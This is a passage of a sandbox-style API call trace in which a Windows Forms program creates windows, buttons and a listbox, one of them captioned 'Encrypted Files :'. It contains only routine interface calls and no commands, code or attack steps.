[0089.363] ShowWindow (hWnd=0x4015e, nCmdShow=5) returned 0
[0089.363] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.364] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0089.365] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.365] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.365] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=-53, Y=698, nWidth=962, nHeight=287, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x40160
[0089.366] SetWindowLongPtrW (hWnd=0x40160, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.366] GetWindowLongPtrW (hWnd=0x40160, nIndex=-4) returned 0x77a8b0ac
[0089.366] SetWindowLongPtrW (hWnd=0x40160, nIndex=-4, dwNewLong=0x1b191d2c) returned 0x77a8b0ac
[0089.366] GetWindowLongPtrW (hWnd=0x40160, nIndex=-4) returned 0x1b191d2c
[0089.366] GetWindowLongPtrW (hWnd=0x40160, nIndex=-16) returned 0x46000000
[0089.366] GetWindowLongPtrW (hWnd=0x40160, nIndex=-12) returned 0x0
[0089.366] SetWindowLongPtrW (hWnd=0x40160, nIndex=-12, dwNewLong=0x40160) returned 0x0
[0089.366] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x81, wParam=0x0, lParam=0x2eda70) returned 0x1
[0089.367] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x83, wParam=0x0, lParam=0x2edb20) returned 0x0
[0089.367] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x1, wParam=0x0, lParam=0x2eda70) returned 0x0
[0089.368] GetWindow (hWnd=0x40160, uCmd=0x3) returned 0x0
[0089.368] GetClientRect (in: hWnd=0x40160, lpRect=0x2ed530 | out: lpRect=0x2ed530) returned 1
[0089.368] GetWindowRect (in: hWnd=0x40160, lpRect=0x2ed530 | out: lpRect=0x2ed530) returned 1
[0089.368] GetParent (hWnd=0x40160) returned 0x4015e
[0089.369] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x4015e, lpPoints=0x2ed530, cPoints=0x2 | out: lpPoints=0x2ed530) returned -6357323
[0089.369] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x5, wParam=0x0, lParam=0x11f03c2) returned 0x0
[0089.370] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x3, wParam=0x0, lParam=0x2baffcb) returned 0x0
[0089.370] GetClientRect (in: hWnd=0x40160, lpRect=0x2ed640 | out: lpRect=0x2ed640) returned 1
[0089.370] GetWindowRect (in: hWnd=0x40160, lpRect=0x2ed640 | out: lpRect=0x2ed640) returned 1
[0089.370] GetParent (hWnd=0x40160) returned 0x4015e
[0089.370] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x4015e, lpPoints=0x2ed640, cPoints=0x2 | out: lpPoints=0x2ed640) returned -6357323
[0089.372] SendMessageW (hWnd=0x40160, Msg=0x2210, wParam=0x1600001, lParam=0x40160) returned 0x0
[0089.372] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x2210, wParam=0x1600001, lParam=0x40160) returned 0x0
[0089.373] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.373] GetParent (hWnd=0x40160) returned 0x4015e
[0089.373] GetCurrentActCtx (in: lphActCtx=0x2ee3b0 | out: lphActCtx=0x2ee3b0*=0x1abc8538) returned 1
[0089.373] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.373] GetClassInfoW (in: hInstance=0x0, lpClassName="BUTTON", lpWndClass=0x264e1f0 | out: lpWndClass=0x264e1f0) returned 1
[0089.375] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.375] CoTaskMemAlloc (cb=0x58) returned 0x1ac17e90
[0089.375] RegisterClassW (lpWndClass=0x2ee090) returned 0xc169
[0089.376] CoTaskMemFree (pv=0x1ac17e90)
[0089.376] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.376] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000007, X=12, Y=319, nWidth=759, nHeight=357, hWndParent=0x4015e, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x60106
[0089.376] SetWindowLongPtrW (hWnd=0x60106, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0089.376] GetWindowLongPtrW (hWnd=0x60106, nIndex=-4) returned 0x7fefc583b20
[0089.376] SetWindowLongPtrW (hWnd=0x60106, nIndex=-4, dwNewLong=0x1b191dcc) returned 0x7fefc583b20
[0089.376] GetWindowLongPtrW (hWnd=0x60106, nIndex=-4) returned 0x1b191dcc
[0089.376] GetWindowLongPtrW (hWnd=0x60106, nIndex=-16) returned 0x46000007
[0089.376] GetWindowLongPtrW (hWnd=0x60106, nIndex=-12) returned 0x0
[0089.376] SetWindowLongPtrW (hWnd=0x60106, nIndex=-12, dwNewLong=0x60106) returned 0x0
[0089.377] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x81, wParam=0x0, lParam=0x2eda70) returned 0x1
[0089.377] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x83, wParam=0x0, lParam=0x2edb20) returned 0x0
[0089.377] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x1, wParam=0x0, lParam=0x2eda70) returned 0x0
[0089.379] SendMessageW (hWnd=0x60106, Msg=0x2055, wParam=0x60106, lParam=0x3) returned 0x2
[0089.379] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x0
[0089.379] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0
[0089.384] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x127, wParam=0x30001, lParam=0x0) returned 0x0
[0089.384] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x4015e, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0
[0089.384] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x40160, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0
[0089.384] RedrawWindow (hWnd=0x40160, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0089.384] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x128, wParam=0x30001, lParam=0x0) returned 0x0
[0089.384] RedrawWindow (hWnd=0x60106, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0089.384] RedrawWindow (hWnd=0x4015e, lprcUpdate=0x0, hrgnUpdate=0x0, flags=0x85) returned 1
[0089.384] GetWindow (hWnd=0x60106, uCmd=0x3) returned 0x40160
[0089.385] GetClientRect (in: hWnd=0x60106, lpRect=0x2ed500 | out: lpRect=0x2ed500) returned 1
[0089.385] GetWindowRect (in: hWnd=0x60106, lpRect=0x2ed500 | out: lpRect=0x2ed500) returned 1
[0089.385] GetParent (hWnd=0x60106) returned 0x4015e
[0089.385] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x4015e, lpPoints=0x2ed500, cPoints=0x2 | out: lpPoints=0x2ed500) returned -6357323
[0089.386] SendMessageW (hWnd=0x60106, Msg=0x30, wParam=0x200a026a, lParam=0x0) returned 0x0
[0089.386] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x30, wParam=0x200a026a, lParam=0x0) returned 0x0
[0089.386] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x5, wParam=0x0, lParam=0x16502f7) returned 0x0
[0089.387] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x3, wParam=0x0, lParam=0x13f000c) returned 0x0
[0089.387] GetClientRect (in: hWnd=0x60106, lpRect=0x2ed610 | out: lpRect=0x2ed610) returned 1
[0089.387] GetWindowRect (in: hWnd=0x60106, lpRect=0x2ed610 | out: lpRect=0x2ed610) returned 1
[0089.387] GetParent (hWnd=0x60106) returned 0x4015e
[0089.387] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x4015e, lpPoints=0x2ed610, cPoints=0x2 | out: lpPoints=0x2ed610) returned -6357323
[0089.387] SendMessageW (hWnd=0x60106, Msg=0x2210, wParam=0x1060001, lParam=0x60106) returned 0x0
[0089.387] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x2210, wParam=0x1060001, lParam=0x60106) returned 0x0
[0089.387] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x60106, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.387] GetParent (hWnd=0x60106) returned 0x4015e
[0089.387] GetCurrentActCtx (in: lphActCtx=0x2ee340 | out: lphActCtx=0x2ee340*=0x1abc8538) returned 1
[0089.387] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.387] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.387] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName="Encrypted Files :", dwStyle=0x56000000, X=6, Y=157, nWidth=745, nHeight=194, hWndParent=0x60106, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x30272
[0089.388] SetWindowLongPtrW (hWnd=0x30272, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.388] GetWindowLongPtrW (hWnd=0x30272, nIndex=-4) returned 0x77a8b0ac
[0089.388] SetWindowLongPtrW (hWnd=0x30272, nIndex=-4, dwNewLong=0x1b191e1c) returned 0x77a8b0ac
[0089.388] GetWindowLongPtrW (hWnd=0x30272, nIndex=-4) returned 0x1b191e1c
[0089.388] GetWindowLongPtrW (hWnd=0x30272, nIndex=-16) returned 0x46000000
[0089.388] GetWindowLongPtrW (hWnd=0x30272, nIndex=-12) returned 0x0
[0089.388] SetWindowLongPtrW (hWnd=0x30272, nIndex=-12, dwNewLong=0x30272) returned 0x0
[0089.388] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x81, wParam=0x0, lParam=0x2eda00) returned 0x1
[0089.388] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x83, wParam=0x0, lParam=0x2edab0) returned 0x0
[0089.388] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x1, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.389] GetWindow (hWnd=0x30272, uCmd=0x3) returned 0x0
[0089.389] GetClientRect (in: hWnd=0x30272, lpRect=0x2ed460 | out: lpRect=0x2ed460) returned 1
[0089.389] GetWindowRect (in: hWnd=0x30272, lpRect=0x2ed460 | out: lpRect=0x2ed460) returned 1
[0089.389] GetParent (hWnd=0x30272) returned 0x60106
[0089.389] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x2ed460, cPoints=0x2 | out: lpPoints=0x2ed460) returned -27263319
[0089.389] SetWindowTextW (hWnd=0x30272, lpString="Encrypted Files :") returned 1
[0089.389] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0xc, wParam=0x0, lParam=0x261eb74) returned 0x1
[0089.390] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x5, wParam=0x0, lParam=0xc202e9) returned 0x0
[0089.390] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x3, wParam=0x0, lParam=0x9d0006) returned 0x0
[0089.390] GetClientRect (in: hWnd=0x30272, lpRect=0x2ed5a0 | out: lpRect=0x2ed5a0) returned 1
[0089.390] GetWindowRect (in: hWnd=0x30272, lpRect=0x2ed5a0 | out: lpRect=0x2ed5a0) returned 1
[0089.390] GetParent (hWnd=0x30272) returned 0x60106
[0089.390] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x60106, lpPoints=0x2ed5a0, cPoints=0x2 | out: lpPoints=0x2ed5a0) returned -27263319
[0089.390] SendMessageW (hWnd=0x30272, Msg=0x2210, wParam=0x2720001, lParam=0x30272) returned 0x0
[0089.390] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x2210, wParam=0x2720001, lParam=0x30272) returned 0x0
[0089.390] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.390] GetParent (hWnd=0x30272) returned 0x60106
[0089.390] GetCurrentActCtx (in: lphActCtx=0x2ee2d0 | out: lphActCtx=0x2ee2d0*=0x1abc8538) returned 1
[0089.390] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.390] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.390] CreateWindowExW (dwExStyle=0x10000, lpClassName="WindowsForms10.BUTTON.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000007, X=7, Y=19, nWidth=166, nHeight=103, hWndParent=0x30272, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20276
[0089.391] SetWindowLongPtrW (hWnd=0x20276, nIndex=-4, dwNewLong=0x7fefc583b20) returned 0x1b191d7c
[0089.391] GetWindowLongPtrW (hWnd=0x20276, nIndex=-4) returned 0x7fefc583b20
[0089.391] SetWindowLongPtrW (hWnd=0x20276, nIndex=-4, dwNewLong=0x1b191e6c) returned 0x7fefc583b20
[0089.391] GetWindowLongPtrW (hWnd=0x20276, nIndex=-4) returned 0x1b191e6c
[0089.391] GetWindowLongPtrW (hWnd=0x20276, nIndex=-16) returned 0x46000007
[0089.391] GetWindowLongPtrW (hWnd=0x20276, nIndex=-12) returned 0x0
[0089.391] SetWindowLongPtrW (hWnd=0x20276, nIndex=-12, dwNewLong=0x20276) returned 0x0
[0089.391] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x81, wParam=0x0, lParam=0x2ed990) returned 0x1
[0089.391] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x83, wParam=0x0, lParam=0x2eda40) returned 0x0
[0089.391] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x1, wParam=0x0, lParam=0x2ed990) returned 0x0
[0089.392] SendMessageW (hWnd=0x20276, Msg=0x2055, wParam=0x20276, lParam=0x3) returned 0x2
[0089.392] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x30272, Msg=0x129, wParam=0x0, lParam=0x0) returned 0x3
[0089.392] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x127, wParam=0x3, lParam=0x0) returned 0x0
[0089.392] GetWindow (hWnd=0x20276, uCmd=0x3) returned 0x0
[0089.392] GetClientRect (in: hWnd=0x20276, lpRect=0x2ed420 | out: lpRect=0x2ed420) returned 1
[0089.392] GetWindowRect (in: hWnd=0x20276, lpRect=0x2ed420 | out: lpRect=0x2ed420) returned 1
[0089.392] GetParent (hWnd=0x20276) returned 0x30272
[0089.392] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30272, lpPoints=0x2ed420, cPoints=0x2 | out: lpPoints=0x2ed420) returned -37552477
[0089.393] GetDC (hWnd=0x0) returned 0x90109d4
[0089.393] GdipCreateFromHDC (hdc=0x90109d4, graphics=0x2ed108) returned 0x0
[0089.393] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.393] GdipGetLogFontW (font=0x1c5af4d0, graphics=0x1c5a7fc0, logfontW=0x1ac10900) returned 0x0
[0089.395] CoTaskMemFree (pv=0x1ac10900)
[0089.395] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.395] CoTaskMemFree (pv=0x1ac10900)
[0089.395] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.395] CoTaskMemFree (pv=0x1ac10900)
[0089.395] GdipDeleteGraphics (graphics=0x1c5a7fc0) returned 0x0
[0089.395] ReleaseDC (hWnd=0x0, hDC=0x90109d4) returned 1
[0089.395] CoTaskMemAlloc (cb=0x5c) returned 0x1ac10900
[0089.395] CreateFontIndirectW (lplf=0x1ac10900) returned 0x320a0259
[0089.396] CoTaskMemFree (pv=0x1ac10900)
[0089.396] SendMessageW (hWnd=0x20276, Msg=0x30, wParam=0x320a0259, lParam=0x0) returned 0x0
[0089.396] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x30, wParam=0x320a0259, lParam=0x0) returned 0x0
[0089.399] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x5, wParam=0x0, lParam=0x6700a6) returned 0x0
[0089.399] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x3, wParam=0x0, lParam=0x130007) returned 0x0
[0089.399] GetClientRect (in: hWnd=0x20276, lpRect=0x2ed530 | out: lpRect=0x2ed530) returned 1
[0089.399] GetWindowRect (in: hWnd=0x20276, lpRect=0x2ed530 | out: lpRect=0x2ed530) returned 1
[0089.399] GetParent (hWnd=0x20276) returned 0x30272
[0089.399] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30272, lpPoints=0x2ed530, cPoints=0x2 | out: lpPoints=0x2ed530) returned -37552477
[0089.400] SendMessageW (hWnd=0x20276, Msg=0x2210, wParam=0x2760001, lParam=0x20276) returned 0x0
[0089.400] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x2210, wParam=0x2760001, lParam=0x20276) returned 0x0
[0089.400] CallWindowProcW (lpPrevWndFunc=0x7fefc583b20, hWnd=0x20276, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.400] GetParent (hWnd=0x20276) returned 0x30272
[0089.400] GetCurrentActCtx (in: lphActCtx=0x2ee260 | out: lphActCtx=0x2ee260*=0x1abc8538) returned 1
[0089.400] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.401] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.401] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=6, Y=19, nWidth=154, nHeight=78, hWndParent=0x20276, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x202a6
[0089.401] SetWindowLongPtrW (hWnd=0x202a6, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.401] GetWindowLongPtrW (hWnd=0x202a6, nIndex=-4) returned 0x77a8b0ac
[0089.401] SetWindowLongPtrW (hWnd=0x202a6, nIndex=-4, dwNewLong=0x1b191ebc) returned 0x77a8b0ac
[0089.401] GetWindowLongPtrW (hWnd=0x202a6, nIndex=-4) returned 0x1b191ebc
[0089.401] GetWindowLongPtrW (hWnd=0x202a6, nIndex=-16) returned 0x46000000
[0089.401] GetWindowLongPtrW (hWnd=0x202a6, nIndex=-12) returned 0x0
[0089.401] SetWindowLongPtrW (hWnd=0x202a6, nIndex=-12, dwNewLong=0x202a6) returned 0x0
[0089.401] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x81, wParam=0x0, lParam=0x2ed920) returned 0x1
[0089.401] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x83, wParam=0x0, lParam=0x2ed9d0) returned 0x0
[0089.402] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x1, wParam=0x0, lParam=0x2ed920) returned 0x0
[0089.402] GetWindow (hWnd=0x202a6, uCmd=0x3) returned 0x0
[0089.402] GetClientRect (in: hWnd=0x202a6, lpRect=0x2ed3e0 | out: lpRect=0x2ed3e0) returned 1
[0089.402] GetWindowRect (in: hWnd=0x202a6, lpRect=0x2ed3e0 | out: lpRect=0x2ed3e0) returned 1
[0089.402] GetParent (hWnd=0x202a6) returned 0x20276
[0089.402] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20276, lpPoints=0x2ed3e0, cPoints=0x2 | out: lpPoints=0x2ed3e0) returned -38797668
[0089.403] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x5, wParam=0x0, lParam=0x4e009a) returned 0x0
[0089.403] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x3, wParam=0x0, lParam=0x130006) returned 0x0
[0089.403] GetClientRect (in: hWnd=0x202a6, lpRect=0x2ed4f0 | out: lpRect=0x2ed4f0) returned 1
[0089.403] GetWindowRect (in: hWnd=0x202a6, lpRect=0x2ed4f0 | out: lpRect=0x2ed4f0) returned 1
[0089.403] GetParent (hWnd=0x202a6) returned 0x20276
[0089.403] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x20276, lpPoints=0x2ed4f0, cPoints=0x2 | out: lpPoints=0x2ed4f0) returned -38797668
[0089.403] SendMessageW (hWnd=0x202a6, Msg=0x2210, wParam=0x2a60001, lParam=0x202a6) returned 0x0
[0089.403] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x2210, wParam=0x2a60001, lParam=0x202a6) returned 0x0
[0089.403] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a6, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.403] GetParent (hWnd=0x202a6) returned 0x20276
[0089.403] GetCurrentActCtx (in: lphActCtx=0x2ee2d0 | out: lphActCtx=0x2ee2d0*=0x1abc8538) returned 1
[0089.404] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.404] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.404] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.Window.8.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56000000, X=7, Y=206, nWidth=787, nHeight=159, hWndParent=0x30272, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x202a4
[0089.404] SetWindowLongPtrW (hWnd=0x202a4, nIndex=-4, dwNewLong=0x77a8b0ac) returned 0x1b19139c
[0089.404] GetWindowLongPtrW (hWnd=0x202a4, nIndex=-4) returned 0x77a8b0ac
[0089.405] SetWindowLongPtrW (hWnd=0x202a4, nIndex=-4, dwNewLong=0x1b191f0c) returned 0x77a8b0ac
[0089.405] GetWindowLongPtrW (hWnd=0x202a4, nIndex=-4) returned 0x1b191f0c
[0089.405] GetWindowLongPtrW (hWnd=0x202a4, nIndex=-16) returned 0x46000000
[0089.405] GetWindowLongPtrW (hWnd=0x202a4, nIndex=-12) returned 0x0
[0089.405] SetWindowLongPtrW (hWnd=0x202a4, nIndex=-12, dwNewLong=0x202a4) returned 0x0
[0089.405] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a4, Msg=0x81, wParam=0x0, lParam=0x2ed990) returned 0x1
[0089.405] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a4, Msg=0x83, wParam=0x0, lParam=0x2eda40) returned 0x0
[0089.405] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a4, Msg=0x1, wParam=0x0, lParam=0x2ed990) returned 0x0
[0089.405] GetWindow (hWnd=0x202a4, uCmd=0x3) returned 0x20276
[0089.405] GetClientRect (in: hWnd=0x202a4, lpRect=0x2ed450 | out: lpRect=0x2ed450) returned 1
[0089.405] GetWindowRect (in: hWnd=0x202a4, lpRect=0x2ed450 | out: lpRect=0x2ed450) returned 1
[0089.406] GetParent (hWnd=0x202a4) returned 0x30272
[0089.406] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30272, lpPoints=0x2ed450, cPoints=0x2 | out: lpPoints=0x2ed450) returned -37552477
[0089.406] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a4, Msg=0x5, wParam=0x0, lParam=0x9f0313) returned 0x0
[0089.407] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a4, Msg=0x3, wParam=0x0, lParam=0xce0007) returned 0x0
[0089.407] GetClientRect (in: hWnd=0x202a4, lpRect=0x2ed560 | out: lpRect=0x2ed560) returned 1
[0089.407] GetWindowRect (in: hWnd=0x202a4, lpRect=0x2ed560 | out: lpRect=0x2ed560) returned 1
[0089.407] GetParent (hWnd=0x202a4) returned 0x30272
[0089.407] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30272, lpPoints=0x2ed560, cPoints=0x2 | out: lpPoints=0x2ed560) returned -37552477
[0089.407] SendMessageW (hWnd=0x202a4, Msg=0x2210, wParam=0x2a40001, lParam=0x202a4) returned 0x0
[0089.407] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a4, Msg=0x2210, wParam=0x2a40001, lParam=0x202a4) returned 0x0
[0089.407] CallWindowProcW (lpPrevWndFunc=0x77a8b0ac, hWnd=0x202a4, Msg=0x18, wParam=0x1, lParam=0x0) returned 0x0
[0089.407] GetParent (hWnd=0x202a4) returned 0x30272
[0089.407] GetCurrentActCtx (in: lphActCtx=0x2ee2d0 | out: lphActCtx=0x2ee2d0*=0x1abc8538) returned 1
[0089.407] GetModuleHandleW (lpModuleName="comctl32.dll") returned 0x7fefc4e0000
[0089.407] GetClassInfoW (in: hInstance=0x0, lpClassName="LISTBOX", lpWndClass=0x264f0a0 | out: lpWndClass=0x264f0a0) returned 1
[0089.408] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.408] CoTaskMemAlloc (cb=0x5a) returned 0x1ac10900
[0089.409] RegisterClassW (lpWndClass=0x2edfb0) returned 0xc16e
[0089.409] CoTaskMemFree (pv=0x1ac10900)
[0089.409] GetModuleHandleW (lpModuleName=0x0) returned 0x9d0000
[0089.409] CreateWindowExW (dwExStyle=0x0, lpClassName="WindowsForms10.LISTBOX.app.0.141b42a_r12_ad1", lpWindowName=0x0, dwStyle=0x56b110c1, X=178, Y=22, nWidth=561, nHeight=156, hWndParent=0x30272, hMenu=0x0, hInstance=0x9d0000, lpParam=0x0) returned 0x20278
[0089.409] SetWindowLongPtrW (hWnd=0x20278, nIndex=-4, dwNewLong=0x7fefc58ae14) returned 0x1b191f5c
[0089.409] GetWindowLongPtrW (hWnd=0x20278, nIndex=-4) returned 0x7fefc58ae14
[0089.409] SetWindowLongPtrW (hWnd=0x20278, nIndex=-4, dwNewLong=0x1b191fac) returned 0x7fefc58ae14
[0089.409] GetWindowLongPtrW (hWnd=0x20278, nIndex=-4) returned 0x1b191fac
[0089.409] GetWindowLongPtrW (hWnd=0x20278, nIndex=-16) returned 0x46b110c1
[0089.410] GetWindowLongPtrW (hWnd=0x20278, nIndex=-12) returned 0x0
[0089.410] SetWindowLongPtrW (hWnd=0x20278, nIndex=-12, dwNewLong=0x20278) returned 0x0
[0089.410] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x81, wParam=0x0, lParam=0x2ed990) returned 0x1
[0089.410] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x83, wParam=0x0, lParam=0x2eda40) returned 0x0
[0089.410] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0x1, wParam=0x0, lParam=0x2ed990) returned 0x1
[0089.412] GetWindow (hWnd=0x20278, uCmd=0x3) returned 0x202a4
[0089.412] GetClientRect (in: hWnd=0x20278, lpRect=0x2ed3d0 | out: lpRect=0x2ed3d0) returned 1
[0089.412] GetWindowRect (in: hWnd=0x20278, lpRect=0x2ed3d0 | out: lpRect=0x2ed3d0) returned 1
[0089.412] GetParent (hWnd=0x20278) returned 0x30272
[0089.412] MapWindowPoints (in: hWndFrom=0x0, hWndTo=0x30272, lpPoints=0x2ed3d0, cPoints=0x2 | out: lpPoints=0x2ed3d0) returned -37552477
[0089.412] GetWindowTextLengthW (hWnd=0x20278) returned 0
[0089.412] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0xe, wParam=0x0, lParam=0x0) returned 0x0
[0089.412] GetSystemMetrics (nIndex=42) returned 0
[0089.412] GetWindowTextW (in: hWnd=0x20278, lpString=0x2ed020, nMaxCount=1 | out: lpString="") returned 0
[0089.412] CallWindowProcW (lpPrevWndFunc=0x7fefc58ae14, hWnd=0x20278, Msg=0xd, wParam=0x1, lParam=0x2ed020) returned 0x0
[0089.412] InvalidateRect (hWnd=0x20278, lpRect=0x0, bErase=1) returned 1
[0089.413] GetWindowTextLengthW (hWnd=0x30272) returned 17
